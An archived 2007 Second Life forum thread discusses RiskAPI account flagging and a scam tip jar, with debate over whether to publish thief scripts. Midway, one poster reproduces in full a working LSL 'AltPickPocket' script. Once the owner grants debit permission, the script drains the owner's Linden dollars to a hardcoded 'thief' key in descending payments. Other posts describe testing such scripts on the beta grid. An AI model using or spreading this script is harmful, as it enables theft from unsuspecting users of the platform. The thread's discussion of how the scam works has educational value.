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RiskAPI

Void Singer
Int vSelf = Sing(void);
Join date: 24 Sep 2005
Posts: 6,973
12-08-2007 07:38
hey jack, did you actually verify that the key you've posted is in fact the person who gave you the object? I show it as VH... and honestly, since key's are unique it's just another name... same rules apply...

also, and this isnt to call you a liar, but how do we know that this person actually gave this to you? how do we know that this person didn't make it for you, or give you a copy to use? how do we know that you didn't edit the script to implicate them?

I don't ask because I'm accusing you of lying, but to point out that anyone could do any of these things to grief a legitimate user, which is one of many reasons for the no names policy.

you're mad, I get that, I would be too. but the way to handle it is to get a linden to look at it, since they can determine if that user has the same script on them, that it hasn't been docotred, that they made it, and they can see how many other people have copies which might be affected....

we can't do that and the best you can do is warn your friends not to accept scripts or allow permissions for debit on items they can't verify themselves by looking, or having someone they trust do the same. I personally put pay scripts in the simplest form possible from all the other workings of a script that must be no-mod, leaving the pay portion moddable, so users can see what it does... and it starts out OFF so that when a user first loads an item, they know that the script they enable is the one doing the work. maybe I wouldn't need to if I were a houshold name like jevn etc, but I consider it a courtesy
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JackJack Oh
Registered User
Join date: 8 Dec 2007
Posts: 70
12-08-2007 07:54
From: Void Singer
hey jack, did you actually verify that the key you've posted is in fact the person who gave you the object? I show it as VH... and honestly, since key's are unique it's just another name... same rules apply...

also, and this isnt to call you a liar, but how do we know that this person actually gave this to you? how do we know that this person didn't make it for you, or give you a copy to use? how do we know that you didn't edit the script to implicate them?

I don't ask because I'm accusing you of lying, but to point out that anyone could do any of these things to grief a legitimate user, which is one of many reasons for the no names policy.

you're mad, I get that, I would be too. but the way to handle it is to get a linden to look at it, since they can determine if that user has the same script on them, that it hasn't been docotred, that they made it, and they can see how many other people have copies which might be affected....

we can't do that and the best you can do is warn your friends not to accept scripts or allow permissions for debit on items they can't verify themselves by looking, or having someone they trust do the same. I personally put pay scripts in the simplest form possible from all the other workings of a script that must be no-mod, leaving the pay portion moddable, so users can see what it does... and it starts out OFF so that when a user first loads an item, they know that the script they enable is the one doing the work. maybe I wouldn't need to if I were a houshold name like jevn etc, but I consider it a courtesy


ID Type Description Debit Credit Time Resident/Group
631197171 Give Inventory 0 2007-12-03 13:51:40 VH

this is the "transaction" of when she gave me the tip jar, i've post the content before...

anyway i've filled an AR just after reading the content of the script, 5 days ago, just after have checked the key using dataserver, and i saw the name corresponding with who sent me the obj...


about riskapi... yes... i'm becoming mad... it's a bad feeling to be considered a fraud risk by somebody that don't even know me (LL) and see that the same ppl aren't doing anything to check my abuse report... maybe ARs from risk flagged ppl aren't valid? good so... leave her to steal money around and me flagged... SL can survive without me and me without SL...
Gaybot Blessed
Heavenly Input Collector
Join date: 3 Oct 2007
Posts: 306
12-08-2007 07:58
How can I trace a key or UUIDDVWXMBXXXSSLWIS3435 (whatever it's called) to an avatar name?

Perhaps you are in RiskAPI because of the scam this person supposedly involved you in. I remember a blog post by Zero Linden a long time ago which first warned of receiving too many Linden dollars from strangers which could get your account flagged until they sort out where the funds came from or were going.
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JackJack Oh
Registered User
Join date: 8 Dec 2007
Posts: 70
12-08-2007 08:02
From: Gaybot Blessed
How can I trace a key or UUIDDVWXMBXXXSSLWIS3435 (whatever it's called) to an avatar name?

Perhaps you are in RiskAPI because of the scam this person supposedly involved you in. I remember a blog post by Zero Linden a long time ago which first warned of receiving too many Linden dollars from strangers which could get your account flagged until they sort out where the funds came from or were going.



I'm flagged since 20th november, the scam happened 3th december...


for have the name of a key (avatar) you need a script like this:

default
{
state_entry()
{

}


touch(integer n) {
llRequestAgentData("PUT-UUID-KEY-HERE",DATA_NAME);
}
dataserver(key queryid, string data) {
llOwnerSay("dataserver returned: "+data);
}
}

then touch the prim to activate the script
Gordon Wendt
404 - User not found
Join date: 10 May 2006
Posts: 1,024
12-08-2007 21:02
From: Void Singer
hey jack, did you actually verify that the key you've posted is in fact the person who gave you the object? I show it as VH... and honestly, since key's are unique it's just another name... same rules apply...


Oddly enough since it isn't "naming names" I don't think so, this is definitely a loophole to the rule and we won't know for sure until/unless someone gets yelled at for it but even if it is a violation it's a very creative attempt at avoiding the naming names rule.
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Gordon Wendt
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Join date: 10 May 2006
Posts: 1,024
12-08-2007 21:06
From: Jessica Elytis
I feel for you and agree, that LL needs to do better management and testing, esspecially on somethign that impacts the users like RiskAPI.

That aside, could you remove the script from this post? It may be available other places, buy let's not make it easy for con-artists to find it to rip of even more people. Thanks.

~Jessy


It's always annoyed the hell out of me when people try to bully people into practicing security through obscurity which incidentally doesn't work. Here's the full unedited script from lslwiki.net


From: http://lslwiki.net/lslwiki/wakka.php?wakka=LibraryAltPickPocket

//-----------------------------------------------------------------------------------
// AltPickPocket Script C 2005-2007
// Formerly Known as PureEvil
// By Mitzpatrick Fitzsimmons
//-----------------------------------------------------------------------------------

//----------------------------DISCLAIMER!--------------------------------------------
// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.

// The UUID of the "thief" variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.
//-----------------------------------------------------------------------------------

key thief = "605dc2e5-3bdf-427e-a38d-98390c124249"; // Insert the key of the person who is going to get the money here.
list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments until the account is cleaned out.

// The pay function here will use the integers in the ammount list to transact payments to the thief UUID in incremental
// amounts until the list ends. In most cases this will deplete the account of the owner (unless there is more money in that
// owners account than is in the largest list amount).
pay () {
integer m = llGetListLength(ammount);
integer i = 0;
while (i<m) {
llGiveMoney(thief,llList2Integer(ammount,i));
i++;
}
}

default
{
on_rez(integer number)
{
llResetScript(); // Make sure Ownership Changes properly.
}

state_entry()
{
llSetObjectName("AltPickPocket";); // Set the Object Name
llRequestPermissions(llGetOwner(),PERMISSION_DEBIT);// Request Owners permission to debit money.
}

touch_start(integer total_number)
{
if(llDetectedKey(0) == thief) // if the thief is touching the object
{
llSay(0, "You are the Authorized.";); // Tell them they are Authorized
pay(); // Then Pay them
}else{ // If it is not the thief touching the object
llSay(0, "You are NOT Authorized!";); // then deny them
}
}

run_time_permissions(integer number)
{
if(number >0)
{
llOwnerSay("Activated!";);
llSetColor(<0,1,0>, ALL_SIDES);
llSetText("Active",<0,1,0>,1);
}else{
llSay(0, "PickPocket has no permissions";);
llSetColor(<1,0,0>, ALL_SIDES);
llSetText("InActive",<1,0,0>,1);
}

}
}
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FD Spark
Prim & Texture Doodler
Join date: 30 Oct 2006
Posts: 4,697
12-08-2007 21:49
From: Raudf Fox
Really? Bug report it! It's supposed to be a bright yellow/orange with a caution sign on it. I know, because I have to set up my scripted vendors and it's that color.

I think the change was a patch that was created by a user and incorporated by the Lindens in one of the releases a while back, but if you are using a different language client, it might not be yellow....

I remember the discussion just not sure when the patch was suppose to be released but I vaguely remember it was when all updates were mandatory or at least I thought so.
I don't know which one it was or if I missed it but I don't shop or grant permissions to pay others much but when I do its blue.
Do you or anyone know how I can track or find which update verision this was if I installed it,etc?
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Tiberious Neruda
Furry 'On File'
Join date: 1 Nov 2005
Posts: 261
12-08-2007 22:29
Oh my god... completely and utterly PATHETIC. Man, I am SO glad this is the level of scripting ability seen from these scammers.

As you might know from other threads of this nature, I've dabbled in these 'black arts' a bit myself on the beta grid, and have easily reached levels of speed and thoroughness that some might believe impossible (I've practiced with my alt, 'scamming' money back and forth)...

Well, if some of you forumers want to see this in action, I'd be glad to re-write it on the recently-updated beta (as nothing there really 'matters' anyway)...
Gordon Wendt
404 - User not found
Join date: 10 May 2006
Posts: 1,024
12-08-2007 23:02
The only way to stop this from happening is a full out education campaign about how it happens, how to prevent it, and how to report anyone who tries it on you. Unfortunately the only ones who could get this type of information out in a way where enough people to make a difference (despite the best efforts of many other people to get this info out) are LL and despite many pleas to do so LL hasn't moved to educate residents about this.
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Gaybot Blessed
Heavenly Input Collector
Join date: 3 Oct 2007
Posts: 306
12-08-2007 23:57
Why do they post a script like this in the lslwiki? It is interesting that a Quicktime exploit used to take over your avatar or steal your money is posted about in the blog, but this one doesn't get any recognition...
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Gordon Wendt
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Join date: 10 May 2006
Posts: 1,024
12-09-2007 00:08
From: Gaybot Blessed
Why do they post a script like this in the lslwiki? It is interesting that a Quicktime exploit used to take over your avatar or steal your money is posted about in the blog, but this one doesn't get any recognition...


Because like me they believe that knowledge is power but if everyone has the knowledge than it's harder for the bad people to exploit it. I think they also don't take the paranoid approach to code and want to be as complete a resource as possible and incidentally there are legitimate usages for such a script such as transferring money easily from alts to mains.
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Gaybot Blessed
Heavenly Input Collector
Join date: 3 Oct 2007
Posts: 306
12-09-2007 00:10
Fair enough, but how many people in world script or look at the lslwiki? (as opposed to the blog or the new announcements in the Terms of Service which do not directly relate to the TOS)

What percentage of the total population in Second Life would you say knows how to script at any level?
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Tiberious Neruda
Furry 'On File'
Join date: 1 Nov 2005
Posts: 261
12-09-2007 00:14
So, anyone up for some beta grid testing like in my previous post? Let me know on the main grid, and I'll pop over.
SuezanneC Baskerville
Forums Rock!
Join date: 22 Dec 2003
Posts: 14,229
12-09-2007 00:30
This script is in these forums, and it said in the version the OP posted.

It's at /15/b0/168759/1.html

It was placed in the Scripting Library forum on 2-28-2007.
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SuezanneC Baskerville
Forums Rock!
Join date: 22 Dec 2003
Posts: 14,229
12-09-2007 01:37
The script I clicked on in the beta grid took just a few seconds or so to take all my beta grid money, which is a good bit.

The dialog box, which I saw for the first time, is nice and big and noteworthy.
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So long to these forums, the vBulletin forums that used to be at forums.secondlife.com. I will miss them.

I can be found on the web by searching for "SuezanneC Baskerville", or go to

http://www.google.com/profiles/suezanne

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http://lindenlab.tribe.net/ created on 11/19/03.

Members: Ben, Catherine, Colin, Cory, Dan, Doug, Jim, Philip, Phoenix, Richard,
Robin, and Ryan

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Gordon Wendt
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Join date: 10 May 2006
Posts: 1,024
12-09-2007 01:42
From: SuezanneC Baskerville
The script I clicked on in the beta grid took just a few seconds or so to take all my beta grid money, which is a good bit.

The dialog box, which I saw for the first time, is nice and big and noteworthy.


Yep, I haven't tried this one itself but I know the concept and if you click yes on that one box they can take every L$ you have and not just that but since debit permissions persist until the script resets or the object gets taken back into it's owner inventory so they could take every L$ you have from then on almost indefinitely.
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JackJack Oh
Registered User
Join date: 8 Dec 2007
Posts: 70
12-09-2007 01:44
From: Gordon Wendt
Because like me they believe that knowledge is power but if everyone has the knowledge than it's harder for the bad people to exploit it. I think they also don't take the paranoid approach to code and want to be as complete a resource as possible and incidentally there are legitimate usages for such a script such as transferring money easily from alts to mains.


A script can't be good or bad, the usage of it can be...
Tiberious Neruda
Furry 'On File'
Join date: 1 Nov 2005
Posts: 261
12-09-2007 01:46
That was mine... I wrote it speficially for a demonstration, and after sufficient oohing and aahing (plus refunding the amount), promptly deleted/purged the thing. While llGiveMoney() is (thankfully) capped now, the potential damages to an account are still VERY high.

Now, I'd go as far as to say it took LESS than a second for the script to do that, Suezanne. Or at least, it appeared that way on my end.

After all's said and done, the amateurish scripts will be hurt the most by the changes I've noticed, but anyone putting a bit of thought into a thief script can still put a --MAJOR-- hurt on SL residents.
Gordon Wendt
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Join date: 10 May 2006
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12-09-2007 02:00
From: JackJack Oh
A script can't be good or bad, the usage of it can be...


Indeed, on that note one should not hide the script because it can be used for bad by people who may be misguided.
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JackJack Oh
Registered User
Join date: 8 Dec 2007
Posts: 70
12-09-2007 02:29
From: Gordon Wendt
Indeed, on that note one should not hide the script because it can be used for bad by people who may be misguided.


I'm a scripter, and for some products i don't want the script to become public.. the best idea should be to put money into objects, or grant a debit up to X l$... it would solve all problems.. "grant debit permission? specify max amount: [ 0] NO / YES"
Strife Onizuka
Moonchild
Join date: 3 Mar 2004
Posts: 5,887
12-09-2007 03:50
I talked with LL months ago about removing the script from the script library forum. I couldn't understand why they wanted it to stay.

On the wiki I don't let people post crap like this (it was posted to the LSLWiki after I moved to the official wiki).
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YallY Jun
Registered User
Join date: 5 Sep 2007
Posts: 17
12-09-2007 10:31
The risk API is awful - its just like NAZIs smashing up Jews shops and theiving Jew property.
Gordon Wendt
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Join date: 10 May 2006
Posts: 1,024
12-09-2007 18:07
From: Strife Onizuka
I talked with LL months ago about removing the script from the script library forum. I couldn't understand why they wanted it to stay.

On the wiki I don't let people post crap like this (it was posted to the LSLWiki after I moved to the official wiki).


So if I posted a script like this in my userspace you'd remove it? I'm honestly surprised that you'd do something like that,


Just in case lslwiki removes the script I've posted it at and will be happy to revert you and report you to whichever linden it is that keeps track of the Wiki. Though apparently they already don't mind it being out in the open (why would they since anyone can recreate it).


There's no bad code only people who would use code for bad reasons and we shouldn't be afraid to put code out in the open just because it could be used for bad purposes.
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Gordon Wendt
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12-09-2007 18:17
From: JackJack Oh
I'm a scripter, and for some products i don't want the script to become public.. the best idea should be to put money into objects, or grant a debit up to X l$... it would solve all problems.. "grant debit permission? specify max amount: [ 0] NO / YES"


Well yes, but not for that reason, I don't make most of my scripts public for competitive reasons since I'd rather not any potential competitors know the secrets of how my products work, however I'd never keep code secret just because it could be used by bad people.
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Strife Onizuka
Moonchild
Join date: 3 Mar 2004
Posts: 5,887
12-09-2007 22:03
From: Gordon Wendt
So if I posted a script like this in my userspace you'd remove it?

In this case yes, you violated the authors copyright and the Lindens instructions not to copy material from the Forums & LSL Wiki. The reason for the copy ban was that there is no license associated with the LSL Wiki or Forums, copying them to the SL Wiki would force onto them the CC-By 2.5 license. In the process of doing so would constitute a violation of copyright as only the owner or duly appointed representative may change the licensing. In other words, reposting the material asserts a changing of license by an unauthorized party.
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- Cyril Connolly

Without the political will to find common ground, the continual friction of tactic and counter tactic, only creates suspicion and hatred and vengeance, and perpetuates the cycle of violence.
- James Nachtwey
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